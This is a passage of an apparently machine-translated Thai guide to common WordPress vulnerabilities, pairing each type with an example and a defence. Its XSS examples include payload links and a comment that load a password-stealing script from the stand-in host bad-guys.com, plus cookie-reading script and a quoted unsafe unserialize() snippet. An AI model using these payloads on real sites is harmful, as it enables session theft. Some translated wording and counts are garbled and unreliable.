ช่องโหว่ WordPress อธิบาย

เผยแพร่แล้ว: 2021-01-27

ขออภัย มีช่องโหว่ของ WordPress ช่องโหว่ของ WordPress อาจมีอยู่ในปลั๊กอิน ธีมของคุณ และแม้แต่แกนหลักของ WordPress และเนื่องจากตอนนี้ WordPress มีอำนาจเกือบ 40% ของเว็บไซต์ทั้งหมด งานในการทำความเข้าใจช่องโหว่จึงมีความสำคัญมากขึ้น พูดง่ายๆ ก็คือ คุณต้องระมัดระวังเกี่ยวกับความปลอดภัยของเว็บไซต์ของคุณ

หากคุณไม่ใช่ผู้เชี่ยวชาญด้านความปลอดภัยของ WordPress การทำความเข้าใจช่องโหว่ต่างๆ ของ WordPress อาจเป็นเรื่องที่น่ากลัว การพยายามทำความเข้าใจระดับความรุนแรงของช่องโหว่ต่างๆ ควบคู่ไปกับความเสี่ยงของช่องโหว่ของ WordPress อาจเป็นเรื่องที่ยากเกินไป

คู่มือนี้จะกำหนดช่องโหว่ที่พบบ่อยที่สุด 21 ประการของ WordPress ครอบคลุมวิธีการให้คะแนนความรุนแรงของช่องโหว่ของ WordPress ให้ตัวอย่างว่าแฮ็กเกอร์สามารถใช้ประโยชน์จากช่องโหว่ได้อย่างไร และแสดงให้เห็นว่าสามารถป้องกันช่องโหว่เหล่านี้ได้อย่างไร มาดำน้ำกันเถอะ

ช่องโหว่ WordPress อธิบาย

    ช่องโหว่ WordPress คืออะไร?

    ช่องโหว่ของ WordPress เป็นจุดอ่อนหรือข้อบกพร่องในธีม ปลั๊กอิน หรือแกนหลักของ WordPress ที่แฮ็กเกอร์สามารถใช้ประโยชน์ได้ กล่าวอีกนัยหนึ่ง ช่องโหว่ของ WordPress สร้างจุดเริ่มต้นที่แฮ็กเกอร์สามารถใช้เพื่อดึงกิจกรรมที่เป็นอันตราย

    โปรดทราบว่าการแฮ็กเว็บไซต์เกือบทั้งหมดเป็นแบบอัตโนมัติ ด้วยเหตุนี้ แฮกเกอร์จึงสามารถเจาะเข้าไปในเว็บไซต์จำนวนมากได้อย่างง่ายดายโดยแทบไม่มีเวลาเลย แฮกเกอร์ใช้เครื่องมือพิเศษที่สแกนอินเทอร์เน็ตเพื่อค้นหาช่องโหว่ที่ทราบ

    แฮ็กเกอร์ชอบเป้าหมายที่ง่าย และการมีเว็บไซต์ที่ใช้งานซอฟต์แวร์ที่มีช่องโหว่ที่รู้จักก็เหมือนกับการให้คำแนะนำทีละขั้นตอนแก่แฮ็กเกอร์เพื่อเจาะเข้าไปในเว็บไซต์ WordPress เซิร์ฟเวอร์ คอมพิวเตอร์ หรืออุปกรณ์ที่เชื่อมต่ออินเทอร์เน็ตอื่นๆ

    รายงานสรุปช่องโหว่ของ WordPress ประจำเดือนของเราครอบคลุมถึงแกน WordPress ที่เปิดเผยต่อสาธารณะ ปลั๊กอิน WordPress และช่องโหว่ของธีม ในบทสรุปนี้ เราแชร์ชื่อปลั๊กอินหรือธีมที่มีช่องโหว่ เวอร์ชันที่ได้รับผลกระทบ และประเภทช่องโหว่

    ช่องโหว่ Zero-Day คืออะไร?

    ช่องโหว่ Zero-day เป็นช่องโหว่ที่ได้รับการเปิดเผยต่อสาธารณะก่อนที่ผู้พัฒนาจะปล่อยแพตช์สำหรับช่องโหว่ดังกล่าว

    เมื่อพูดถึงช่องโหว่ของ WordPress สิ่งสำคัญคือต้องเข้าใจคำจำกัดความของช่องโหว่ซีโร่เดย์ เนื่องจากช่องโหว่ดังกล่าวถูกเปิดเผยต่อสาธารณะ นักพัฒนาจึงมีเวลา 0 วัน ในการแก้ไขช่องโหว่ และอาจส่งผลอย่างมากต่อปลั๊กอินและธีมของคุณ

    โดยปกติ นักวิจัยด้านความปลอดภัยจะค้นพบช่องโหว่และเปิดเผยช่องโหว่ดังกล่าวแบบส่วนตัวต่อนักพัฒนาของบริษัทที่เป็นเจ้าของซอฟต์แวร์ นักวิจัยด้านความปลอดภัยและนักพัฒนายอมรับว่ารายละเอียดทั้งหมดจะถูกเผยแพร่เมื่อแพทช์พร้อมใช้งานแล้ว อาจมีความล่าช้าเล็กน้อยในการเปิดเผยช่องโหว่หลังจากออกแพตช์เพื่อให้ผู้คนมีเวลามากขึ้นในการอัปเดตช่องโหว่ด้านความปลอดภัยที่สำคัญ

    อย่างไรก็ตาม หากนักพัฒนาไม่ตอบสนองต่อนักวิจัยด้านความปลอดภัยหรือไม่สามารถจัดหาโปรแกรมแก้ไขสำหรับช่องโหว่ ผู้วิจัยอาจเปิดเผยช่องโหว่ต่อสาธารณะเพื่อกดดันนักพัฒนาให้ออกโปรแกรมแก้ไข

    การเปิดเผยช่องโหว่ในที่สาธารณะและดูเหมือนว่าการเปิดตัวซีโร่เดย์อาจดูเหมือนเป็นการต่อต้าน แต่เป็นการใช้ประโยชน์เพียงอย่างเดียวที่นักวิจัยต้องกดดันนักพัฒนาให้แก้ไขช่องโหว่

    Project Zero ของ Google มีแนวทางที่คล้ายกันในการเปิดเผยช่องโหว่ พวกเขาเผยแพร่รายละเอียดทั้งหมดของช่องโหว่หลังจาก 90 วัน ช่องโหว่นั้นได้รับการแก้ไขแล้วหรือไม่

    ช่องโหว่มีให้ทุกคนค้นหา หากแฮ็กเกอร์พบช่องโหว่ก่อนที่นักพัฒนาซอฟต์แวร์จะเผยแพร่แพตช์ มันจะกลายเป็นฝันร้ายที่สุดสำหรับผู้ใช้ปลายทาง…. Zero-day ที่เอาเปรียบอย่างแข็งขัน

    ช่องโหว่ Zero-Day ที่ถูกเอารัดเอาเปรียบอย่างแข็งขันคืออะไร?

    ช่องโหว่ Zero-Day ที่ถูกเอารัดเอาเปรียบอย่างแข็งขัน เป็นสิ่งที่ดูเหมือน เป็นช่องโหว่ที่ไม่ได้รับการแก้ไขซึ่งแฮ็กเกอร์กำลังกำหนดเป้าหมาย โจมตี และแสวงหาประโยชน์อย่างแข็งขัน

    ในตอนท้ายของปี 2018 แฮกเกอร์ใช้ประโยชน์จากช่องโหว่ของ WordPress อย่างแข็งขันในปลั๊กอิน WP GDPR Compliance ช่องโหว่นี้อนุญาตให้ผู้ใช้ที่ไม่ได้รับอนุญาต—เพิ่มเติมเกี่ยวกับเรื่องนี้ในหัวข้อถัดไป—เพื่อแก้ไขการตั้งค่าการลงทะเบียนผู้ใช้ WP และเปลี่ยนบทบาทผู้ใช้เริ่มต้นใหม่จากผู้สมัครสมาชิกเป็นผู้ดูแลระบบ

    แฮกเกอร์เหล่านี้พบช่องโหว่นี้ก่อนปลั๊กอิน WP GDPR และนักวิจัยด้านความปลอดภัย ดังนั้นเว็บไซต์ใดๆ ที่ติดตั้งปลั๊กอินจึงเป็นเครื่องหมายที่ง่ายและรับประกันสำหรับอาชญากรไซเบอร์

    วิธีป้องกันตัวเองจากช่องโหว่ Zero-Day

    วิธีที่ดีที่สุดในการปกป้องเว็บไซต์ของคุณจากช่องโหว่ Zero-Day คือการปิดใช้งานและนำซอฟต์แวร์ออกจนกว่าช่องโหว่นั้นจะถูกแก้ไข โชคดีที่ผู้พัฒนาปลั๊กอินการปฏิบัติตามข้อกำหนด WP GDPR ดำเนินการอย่างรวดเร็วและออกแพตช์สำหรับช่องโหว่ในวันรุ่งขึ้นหลังจากที่เปิดเผยต่อสาธารณะ

    ช่องโหว่ที่ไม่ได้รับการแก้ไขทำให้เว็บไซต์ของคุณเป็นเป้าหมายที่ง่ายสำหรับแฮกเกอร์

    Unauthenticated vs. Authenticated WordPress ช่องโหว่

    มีคำศัพท์อีกสองคำที่คุณต้องคุ้นเคยเมื่อพูดถึงช่องโหว่ของ WordPress

    1. Unauthenticated – ช่องโหว่ WordPress ที่ไม่ผ่านการ ตรวจสอบสิทธิ์ หมายความว่าใครก็ตามสามารถใช้ประโยชน์จากช่องโหว่นี้ได้
    2. รับรองความถูกต้อง – ช่องโหว่ WordPress ที่ผ่านการตรวจสอบความถูกต้องหมายความว่าผู้ใช้ที่ลงชื่อเข้าใช้เพื่อใช้ประโยชน์

    ช่องโหว่ที่ต้องใช้ผู้ใช้ที่ผ่านการตรวจสอบสิทธิ์นั้นยากกว่ามากสำหรับแฮ็กเกอร์ที่จะหาช่องโหว่ โดยเฉพาะอย่างยิ่งหากต้องใช้สิทธิ์ระดับผู้ดูแลระบบ และหากแฮ็กเกอร์มีชุดข้อมูลประจำตัวของผู้ดูแลระบบอยู่แล้ว พวกเขาก็ไม่จำเป็นต้องใช้ประโยชน์จากช่องโหว่เพื่อสร้างความหายนะ

    มีข้อแม้ประการหนึ่ง ช่องโหว่ที่ได้รับการตรวจสอบสิทธิ์บางอย่างต้องการความสามารถระดับสมาชิกเท่านั้นจึงจะสามารถใช้ประโยชน์ได้ หากเว็บไซต์ของคุณอนุญาตให้ใครก็ตามลงทะเบียนได้ ก็ไม่มีอะไรแตกต่างกันมากนักระหว่างช่องโหว่นี้กับช่องโหว่ที่ไม่ผ่านการตรวจสอบสิทธิ์

    19 ช่องโหว่ WordPress ที่พบบ่อยอธิบาย

    เมื่อพูดถึงช่องโหว่ของ WordPress มีช่องโหว่ทั่วไป 21 ประเภท มาพูดถึงช่องโหว่ของ WordPress แต่ละประเภทกัน

    1. บายพาสการตรวจสอบสิทธิ์

    ช่องโหว่ Authentication Bypass ช่วยให้ผู้โจมตีสามารถข้ามข้อกำหนดการตรวจสอบสิทธิ์และทำงานที่สงวนไว้สำหรับผู้ใช้ที่ได้รับการพิสูจน์ตัวตนตามปกติ

    การรับรองความถูกต้องเป็นกระบวนการยืนยันตัวตนของผู้ใช้ WordPress กำหนดให้ผู้ใช้ป้อนชื่อผู้ใช้และรหัสผ่านเพื่อยืนยันตัวตน

    ตัวอย่างบายพาสการตรวจสอบสิทธิ์

    แอปพลิเคชันตรวจสอบการรับรองความถูกต้องตามชุดพารามิเตอร์คงที่ ผู้โจมตีสามารถแก้ไขพารามิเตอร์เหล่านี้เพื่อเข้าถึงหน้าเว็บที่มักต้องมีการตรวจสอบสิทธิ์

    ตัวอย่างพื้นฐานของบางสิ่งเช่นนี้คือพารามิเตอร์การตรวจสอบสิทธิ์ใน URL

     https:/my-website/some-plugint?param=authenticated&param=no

    URL ด้านบนมีพารามิเตอร์การตรวจสอบสิทธิ์ที่มีค่าเท่ากับ ดังนั้นเมื่อเราเข้าชมหน้านี้ เราจะได้รับข้อความแจ้งว่าเราไม่ได้รับอนุญาตให้ดูข้อมูลในหน้านี้

    อย่างไรก็ตาม หากการตรวจสอบความถูกต้องมีการเข้ารหัสไม่ดี ผู้โจมตีสามารถแก้ไขพารามิเตอร์การตรวจสอบสิทธิ์เพื่อเข้าถึงหน้าส่วนตัวได้

     https:/my-website/some-plugint?param=authenticated&param=yes

    ในตัวอย่างนี้ แฮ็กเกอร์สามารถเปลี่ยนค่าการตรวจสอบสิทธิ์ใน URL เป็นใช่เพื่อข้ามข้อกำหนดการตรวจสอบสิทธิ์เพื่อดูหน้าเว็บ

    วิธีป้องกันการป้องกันการเลี่ยงผ่านการตรวจสอบสิทธิ์

    คุณสามารถช่วยปกป้องเว็บไซต์ของคุณจากช่องโหว่ของ Broken Authentication โดยใช้การตรวจสอบสิทธิ์แบบสองปัจจัย

    2. ช่องโหว่แบ็คดอร์

    ช่องโหว่ Backdoor ทำให้ทั้งผู้ใช้ที่ได้รับอนุญาตและไม่ได้รับอนุญาตสามารถข้ามมาตรการรักษาความปลอดภัยปกติและเข้าถึงคอมพิวเตอร์ เซิร์ฟเวอร์ เว็บไซต์ หรือแอปพลิเคชันระดับสูงได้

    ตัวอย่างประตูหลัง

    นักพัฒนาซอฟต์แวร์สร้างแบ็คดอร์เพื่อให้สามารถสลับไปมาระหว่างการเข้ารหัสและทดสอบโค้ดในฐานะผู้ดูแลระบบได้อย่างรวดเร็ว น่าเสียดายที่ผู้พัฒนาลืมลบแบ็คดอร์ก่อนที่ซอฟต์แวร์จะเผยแพร่สู่สาธารณะ

    หากแฮ็กเกอร์พบแบ็คดอร์ พวกเขาสามารถใช้ประโยชน์จากจุดเริ่มต้นเพื่อให้ผู้ดูแลระบบเข้าถึงซอฟต์แวร์ได้ ตอนนี้แฮ็กเกอร์มีสิทธิ์การเข้าถึงระดับผู้ดูแลระบบแล้ว พวกเขาสามารถทำสิ่งที่เป็นอันตรายได้ทุกประเภท เช่น ฉีดมัลแวร์หรือขโมยข้อมูลที่สำคัญ

    วิธีป้องกันแบ็คดอร์

    แบ็คดอร์จำนวนมากสามารถสรุปได้เป็นประเด็นเดียว นั่นคือ การกำหนดค่าความปลอดภัยผิดพลาด ปัญหาการกำหนดค่าความปลอดภัยที่ผิดพลาดสามารถบรรเทาได้ด้วยการลบคุณลักษณะที่ไม่ได้ใช้ในโค้ด ทำให้ไลบรารีทั้งหมดเป็นปัจจุบัน และทำให้ข้อความแสดงข้อผิดพลาดกว้างขึ้น

    3. PHP Object-Injection Vulnerability

    สร้าง PHP ช่องโหว่วัตถุฉีดเกิดขึ้นกับผู้ใช้ส่งการป้อนข้อมูลที่ไม่ถูกสุขอนามัย (หมายถึงตัวละครที่ผิดกฎหมายจะไม่ถูกลบ) ก่อนที่จะถูกส่งผ่านไปยัง unserialized() ฟังก์ชัน PHP

    ตัวอย่างการฉีดวัตถุ PHP

    นี่คือตัวอย่างในโลกแห่งความเป็นจริงของช่องโหว่ PHP Object-Injection ในปลั๊กอิน WordPress ตัวจัดการโฆษณาตัวอย่าง ซึ่งเดิมรายงานโดย sumofpwn

    ปัญหานี้เกิดจากการเรียก unserialize() ที่ ไม่ปลอดภัยสองครั้งในไฟล์ปลั๊กอิน sam-ajax-loader.php อินพุตถูกนำมาโดยตรงจากคำขอ POST ตามที่เห็นในรหัสด้านล่าง

     if ( in_array( $action, $allowed_actions ) ) { switch ( $action ) { case 'sam_ajax_load_place': echo json_encode( array( 'success' => false, 'error' => 'Deprecated...' ) ); break; case 'sam_ajax_load_ads': if ( ( isset( $_POST['ads'] ) && is_array( $_POST['ads'] ) ) && isset( $_POST['wc'] ) ) { $clauses = **unserialize( base64_decode( $_POST['wc'] ) )**;

    ปัญหานี้อาจส่งผลให้ผู้โจมตีป้อนและเรียกใช้โค้ดที่เป็นอันตราย

    วิธีป้องกัน PHP Object-Injection

    อย่าใช้ unserialize() กับอินพุตที่ผู้ใช้ระบุ ให้ใช้ฟังก์ชัน JSON แทน

    4. ช่องโหว่การเขียนสคริปต์ข้ามไซต์

    ช่องโหว่ XSS หรือ Cross-Site Scripting เกิดขึ้นเมื่อเว็บแอปพลิเคชันอนุญาตให้ผู้ใช้เพิ่มโค้ดที่กำหนดเองในเส้นทาง URL ผู้โจมตีสามารถใช้ช่องโหว่เพื่อเรียกใช้โค้ดที่เป็นอันตรายในเว็บเบราว์เซอร์ของเหยื่อ สร้างการเปลี่ยนเส้นทางไปยังเว็บไซต์ที่เป็นอันตราย หรือจี้เซสชันผู้ใช้

    XSS มีสามประเภทหลักซึ่งสะท้อนให้เห็น จัดเก็บและ DOM-Based

    5. สะท้อนช่องโหว่ของการเขียนสคริปต์ข้ามไซต์

    Reflected XSS หรือ Reflected Cross-Site Scripting เกิดขึ้นเมื่อมีการส่งสคริปต์ที่เป็นอันตรายในคำขอของไคลเอ็นต์ ซึ่งเป็นคำขอที่คุณทำในเบราว์เซอร์ ไปยังเซิร์ฟเวอร์และ สะท้อน กลับโดยเซิร์ฟเวอร์และดำเนินการโดยเบราว์เซอร์ของคุณ

    ตัวอย่างการเขียนสคริปต์ข้ามไซต์ที่สะท้อนให้เห็น

    สมมติว่า yourfavesite.com ต้องการให้คุณเข้าสู่ระบบเพื่อดูเนื้อหาบางส่วนของเว็บไซต์ และสมมุติว่าเว็บไซต์นี้ไม่สามารถเข้ารหัสอินพุตของผู้ใช้ได้อย่างถูกต้อง

    ผู้โจมตีสามารถใช้ประโยชน์จากช่องโหว่นี้โดยการสร้างลิงก์ที่เป็นอันตรายและแชร์กับผู้ใช้ yourfavesite.com ในอีเมลและโพสต์ในโซเชียลมีเดีย

    ผู้โจมตีใช้เครื่องมือย่อ URL เพื่อทำให้ลิงก์ที่เป็นอันตรายดูไม่เป็นอันตรายและคลิกได้มาก yourfavesite.com/cool-stuff แต่เมื่อคุณคลิกลิงก์ที่สั้นลง เบราว์เซอร์ของคุณจะดำเนินการลิงก์แบบเต็ม yourfavesite.com/cool-stuff?q=cool-stuff<\script&src=”http://bad-guys.com/passwordstealingcode.js

    หลังจากคลิกลิงก์ คุณจะถูกนำไปที่ yourfavesite.com และสคริปต์ที่เป็นอันตรายจะ สะท้อน กลับมาที่เบราว์เซอร์ของคุณ ทำให้ผู้โจมตีสามารถจี้เซสชันคุกกี้และบัญชี yourfavesite.com ของคุณได้

    วิธีป้องกันการเขียนสคริปต์ข้ามไซต์ที่สะท้อนกลับมา

    กฎ #5 ในเอกสารโกงการป้องกันการข้ามสคริปต์ของ OWASP คือการเข้ารหัส URL ก่อนที่จะแทรกข้อมูลที่ไม่น่าเชื่อถือลงในค่าพารามิเตอร์ HTML URL กฎนี้สามารถช่วยป้องกันการสร้างช่องโหว่ XSS ที่สะท้อนให้เห็นเมื่อเพิ่มข้อมูลที่ไม่น่าเชื่อถือลงในค่าพารามิเตอร์ HTTP GET

    <a href="http://www.yourfavesite.com?test=...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...">link</a >

    6. ช่องโหว่การเขียนสคริปต์ข้ามไซต์ที่เก็บไว้

    ช่องโหว่ XSS ที่เก็บไว้ หรือ Stored Cross-Site Scripting ทำให้แฮกเกอร์สามารถแทรกโค้ดที่เป็นอันตรายลงในและ จัดเก็บ ไว้ในเซิร์ฟเวอร์ของเว็บแอปพลิเคชันได้

    ตัวอย่างการเขียนสคริปต์ข้ามไซต์ที่เก็บไว้

    ผู้โจมตีพบว่า yourfavesite.com อนุญาตให้ผู้เยี่ยมชมฝังแท็ก HTML ในส่วนความคิดเห็นของไซต์ ดังนั้นผู้โจมตีจึงสร้างความคิดเห็นใหม่:

    บทความดีๆ! ลองดู <script src=”http://bad-guys.com/passwordstealingcode.js> บทความที่เกี่ยวข้องอื่น ๆ ที่เกี่ยวข้อง </script>

    หมายเหตุ: ช่องโหว่ XSS ที่ สะท้อนให้เห็น จะต้องให้ผู้เยี่ยมชมคลิกลิงก์โค้ดที่เป็นอันตรายเพื่อดำเนินการ การโจมตี XSS ที่เก็บไว้ นั้นต้องการเฉพาะหน้าที่มีความคิดเห็นที่จะเข้าชมเท่านั้น โค้ดที่เป็นอันตรายทำงานทุกครั้งที่โหลดหน้าเว็บ

    เมื่อคนร้ายของเราได้เพิ่มความคิดเห็น ผู้เยี่ยมชมหน้านี้ทุกคนในอนาคตจะถูกเปิดเผยสคริปต์ที่เป็นอันตรายของพวกเขา สคริปต์นี้โฮสต์อยู่ในเว็บไซต์ของคนเลวและมีความสามารถในการจี้คุกกี้เซสชันของผู้เข้าชมและบัญชี yourfavesite.com

    วิธีป้องกันการจัดเก็บสคริปต์ข้ามไซต์

    กฎข้อที่ #1 ในแผ่นโกงการป้องกันการข้ามสคริปต์ของ OWASP คือการเข้ารหัส HTML ก่อนเพิ่มข้อมูลที่ไม่น่าเชื่อถือลงในองค์ประกอบ HTML

     <body> ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... </body>
     <div> ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... </div>

    การเข้ารหัสอักขระต่อไปนี้เพื่อ ป้องกันการสลับไปยังบริบทการดำเนินการใดๆ เช่น สคริปต์ ลักษณะ หรือตัวจัดการเหตุการณ์ แนะนำให้ใช้เอนทิตีฐานสิบหกในข้อมูลจำเพาะ

     & --> &amp; < --> &lt; > --> &gt; " --> &quot; ' --> &#x27;

    7. ช่องโหว่การเขียนสคริปต์ข้ามไซต์ตามโมเดลของอ็อบเจ็กต์เอกสาร

    ช่องโหว่ XSS แบบอิง DOM หรือ Document Object Model-Based Cross-Site Scripting เกิดขึ้นเมื่อสคริปต์ฝั่งไคลเอ็นต์ของเว็บไซต์เขียนข้อมูลที่ผู้ใช้ระบุไปยัง Document Object Model (DOM) จากนั้นเว็บไซต์จะอ่านวันที่ผู้ใช้จาก DOM และส่งออกไปยังเว็บเบราว์เซอร์ของผู้เยี่ยมชม

    หากข้อมูลที่ผู้ใช้ให้มาไม่ได้รับการจัดการอย่างเหมาะสม ผู้โจมตีอาจฉีดโค้ดที่เป็นอันตรายซึ่งจะถูกดำเนินการเมื่อเว็บไซต์อ่านโค้ดจาก DOM

    หมายเหตุ: XSS ที่สะท้อนและเก็บไว้เป็นปัญหาฝั่งเซิร์ฟเวอร์ในขณะที่ XSS ที่ใช้ DOM เป็นปัญหาของไคลเอ็นต์ (เบราว์เซอร์)

    ตัวอย่างการเขียนสคริปต์ข้ามไซต์ตามโมเดลของอ็อบเจ็กต์เอกสาร

    วิธีทั่วไปในการอธิบายการโจมตี DOM XSS ในหน้าต้อนรับที่กำหนดเอง หลังจากสร้างบัญชีแล้ว สมมติว่า yourfavesite.com คุณถูกเปลี่ยนเส้นทางไปยังหน้าต้อนรับที่ปรับแต่งเพื่อต้อนรับคุณโดยใช้ชื่อโดยใช้รหัสด้านล่าง และชื่อผู้ใช้ถูกเข้ารหัสลงใน URL

     <HTML> <TITLE>Welcome!</TITLE> Hi <SCRIPT> var pos=document.URL.indexOf("name=")+8; document.write(document.URL.substring(pos,document.URL.length)); </SCRIPT> <BR> Welcome to yourfavesite.com! … </HTML>

    ดังนั้น เราจะมี URL ของ yourfavesite.com/account?name=yourname

    ผู้โจมตีสามารถทำการโจมตี XSS บน DOM ได้โดยส่ง URL ต่อไปนี้ไปยังผู้ใช้ใหม่:

     http://yourfavesite.com/account?name=<script>alert(document.cookie)</script>

    เมื่อผู้ใช้ใหม่คลิกลิงก์ เบราว์เซอร์จะส่งคำขอสำหรับ:

     /account?name=<script>alert(document.cookie)</script>

    ไปที่ bad-guys.com เว็บไซต์ตอบกลับด้วยหน้าที่มีโค้ด Javascript ด้านบน

    เบราว์เซอร์ของผู้ใช้ใหม่สร้างออบเจ็กต์ DOM สำหรับเพจ ซึ่งอ็อบเจ็กต์ document.location มีสตริง:

     http://www.bad-guys.com/account?name=<script>alert(document.cookie)</script>

    โค้ดต้นฉบับในหน้าเว็บไม่ได้คาดหวังว่าพารามิเตอร์เริ่มต้นจะมีมาร์กอัป HTML ซึ่งสะท้อนมาร์กอัปบนหน้า จากนั้นเบราว์เซอร์ของผู้ใช้ใหม่จะแสดงหน้าเว็บและเรียกใช้สคริปต์ของผู้โจมตี:

     alert(document.cookie)

    วิธีป้องกันการเขียนสคริปต์ข้ามไซต์บน DOM

    กฎ #1 บน OWASP Dom-based cross-site scripting cheat sheet คือการหลีกเลี่ยง HTML จากนั้น JS จะหลบหนีก่อนที่จะเพิ่มข้อมูลที่ไม่น่าเชื่อถือลงในบริบทย่อย HTML ภายในบริบทการดำเนินการ

    ตัวอย่างวิธีการ HTML ที่เป็นอันตราย:

    คุณลักษณะ

     element.innerHTML = "<HTML> Tags and markup"; element.outerHTML = "<HTML> Tags and markup";

    วิธีการ

     document.write("<HTML> Tags and markup"); document.writeln("<HTML> Tags and markup");

    หากต้องการอัปเดต HTML แบบไดนามิกใน DOM safe OWASP ขอแนะนำ:

    1. การเข้ารหัส HTML จากนั้น
    2. JavaScript เข้ารหัสอินพุตที่ไม่น่าเชื่อถือทั้งหมด ดังแสดงในตัวอย่างเหล่านี้:
     element.innerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>"; element.outerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>";
     document.write("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>"); document.writeln("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>");

    8. ช่องโหว่การปลอมแปลงคำขอข้ามไซต์

    ช่องโหว่ CSRF หรือ Cross-Site Request Forgery เกิดขึ้นเมื่ออาชญากรไซเบอร์หลอกให้ผู้ใช้ดำเนินการกระทำโดยไม่ได้ตั้งใจ ผู้โจมตีปลอมคำขอของผู้ใช้ไปยังแอปพลิเคชัน

    ตัวอย่างการปลอมแปลงคำขอข้ามไซต์

    ในรายงานสรุปช่องโหว่ของ WordPress มกราคม 2020 เรารายงานเกี่ยวกับช่องโหว่ของคำขอข้ามไซต์ที่พบในปลั๊กอิน Code Snippets (ปลั๊กอินได้รับการแก้ไขอย่างรวดเร็วในเวอร์ชัน 2.14.0)

    การขาดการป้องกัน CRSF ของปลั๊กอินทำให้ทุกคนสามารถปลอมคำขอในนามของผู้ดูแลระบบและแทรกโค้ดที่ปฏิบัติการได้บนไซต์ที่มีช่องโหว่ ผู้โจมตีอาจใช้ประโยชน์จากจุดอ่อนนี้เพื่อรันโค้ดที่เป็นอันตรายและดำเนินการเข้ายึดเว็บไซต์โดยสมบูรณ์

    วิธีป้องกันการปลอมแปลงคำขอข้ามไซต์

    กรอบงานการเข้ารหัสส่วนใหญ่มีการป้องกันโทเค็นที่ซิงโครไนซ์ในตัวเพื่อป้องกัน CSRF และควรใช้

    นอกจากนี้ยังมีส่วนประกอบภายนอกเช่น CSRF Protector Project ที่สามารถใช้เพื่อป้องกันช่องโหว่ของ PHP และ Apache CSRF

    9. ช่องโหว่การปลอมแปลงคำขอฝั่งเซิร์ฟเวอร์

    ช่องโหว่ SSRF หรือ Server-Site Request Forger ช่วยให้ผู้โจมตีหลอกลวงแอปพลิเคชันฝั่งเซิร์ฟเวอร์เพื่อส่งคำขอ HTTP ไปยังโดเมนที่เลือกได้ตามใจชอบ

    ตัวอย่างการปลอมแปลงคำขอฝั่งเซิร์ฟเวอร์

    ช่องโหว่ SSRF อาจถูกใช้ประโยชน์จากการโจมตี Reflected Cross-Site Scripting ผู้โจมตีสามารถดึงสคริปต์ที่เป็นอันตรายจาก bad-guys.com และให้บริการแก่ผู้เยี่ยมชมเว็บไซต์ทุกคน

    วิธีป้องกันการปลอมแปลงคำขอฝั่งเซิร์ฟเวอร์

    ขั้นตอนแรกในการบรรเทาช่องโหว่ SSRF คือการตรวจสอบอินพุต ตัวอย่างเช่น หากเซิร์ฟเวอร์ของคุณใช้ URL ที่ผู้ใช้ระบุในการดึงไฟล์ต่างๆ คุณควรตรวจสอบ URL และอนุญาตเฉพาะโฮสต์เป้าหมายที่คุณเชื่อถือเท่านั้น

    สำหรับข้อมูลเพิ่มเติมเกี่ยวกับการป้องกัน SSRF โปรดดูเอกสารสรุป OWASP

    10. ช่องโหว่ในการยกระดับสิทธิ์

    ช่องโหว่ Privilege Escalation ทำให้ผู้โจมตีสามารถดำเนินการงานที่ปกติต้องการสิทธิ์ระดับสูงได้

    ตัวอย่างการเพิ่มสิทธิพิเศษ

    ในบทสรุปช่องโหว่ WordPress เดือนพฤศจิกายน 2020 เรารายงานเกี่ยวกับช่องโหว่ในการยกระดับสิทธิ์ที่พบในปลั๊กอิน Ultimate Member (ช่องโหว่ได้รับการแก้ไขในเวอร์ชัน 2.1.12)

    ผู้โจมตีสามารถจัดหาพารามิเตอร์อาร์เรย์สำหรับเมตาผู้ใช้ wp_capabilities ซึ่งกำหนดบทบาทของผู้ใช้ ในระหว่างขั้นตอนการลงทะเบียน รายละเอียดการลงทะเบียนที่ส่งจะถูกส่งต่อไปยังฟังก์ชัน update_profile และข้อมูลเมตาที่เกี่ยวข้องที่ส่งมา ไม่ว่าจะส่งอะไร จะได้รับการอัปเดตสำหรับผู้ใช้ที่ลงทะเบียนใหม่

    ช่องโหว่ดังกล่าวทำให้ผู้ใช้ใหม่สามารถร้องขอผู้ดูแลระบบเมื่อลงทะเบียนได้

    วิธีป้องกันการเลื่อนระดับสิทธิ์

    iThemes Security Pro สามารถช่วยปกป้องเว็บไซต์ของคุณจาก Broken Access Control ได้โดยการจำกัดการเข้าถึงของผู้ดูแลระบบในรายการอุปกรณ์ที่เชื่อถือได้

    11. ช่องโหว่ในการเรียกใช้โค้ดจากระยะไกล

    ช่องโหว่ RCE หรือ Remote Code Execution ช่วยให้ผู้โจมตีเข้าถึงและทำการเปลี่ยนแปลงและแม้กระทั่งเข้าควบคุมคอมพิวเตอร์หรือเซิร์ฟเวอร์

    ตัวอย่างการดำเนินการโค้ดจากระยะไกล

    ในปี 2018 Microsoft ได้เปิดเผยช่องโหว่ในการเรียกใช้โค้ดจากระยะไกลที่พบใน Excel

    ผู้โจมตีที่ใช้ประโยชน์จากช่องโหว่ได้สำเร็จสามารถเรียกใช้รหัสโดยอำเภอใจในบริบทของผู้ใช้ปัจจุบัน หากผู้ใช้ปัจจุบันเข้าสู่ระบบด้วยสิทธิ์ผู้ดูแลระบบ ผู้โจมตีอาจเข้าควบคุมระบบที่ได้รับผลกระทบ ผู้โจมตีสามารถติดตั้งโปรแกรมได้ ดู เปลี่ยนแปลง หรือลบข้อมูล หรือสร้างบัญชีใหม่พร้อมสิทธิ์ผู้ใช้เต็มรูปแบบ ผู้ใช้ที่บัญชีได้รับการกำหนดค่าให้มีสิทธิ์ผู้ใช้น้อยกว่าในระบบอาจได้รับผลกระทบน้อยกว่าผู้ใช้ที่ดำเนินการด้วยสิทธิ์ผู้ใช้ที่เป็นผู้ดูแลระบบ

    วิธีป้องกันการเรียกใช้โค้ดจากระยะไกล

    วิธีที่ง่ายที่สุดในการบรรเทาช่องโหว่ RCE คือการตรวจสอบความถูกต้องของผู้ใช้โดยการกรองและลบอักขระที่ไม่ต้องการ

    Liquid Web บริษัทแม่ของเรามีบทความดีๆ เกี่ยวกับการป้องกันการใช้โค้ดจากระยะไกล

    12. ช่องโหว่ในการรวมไฟล์

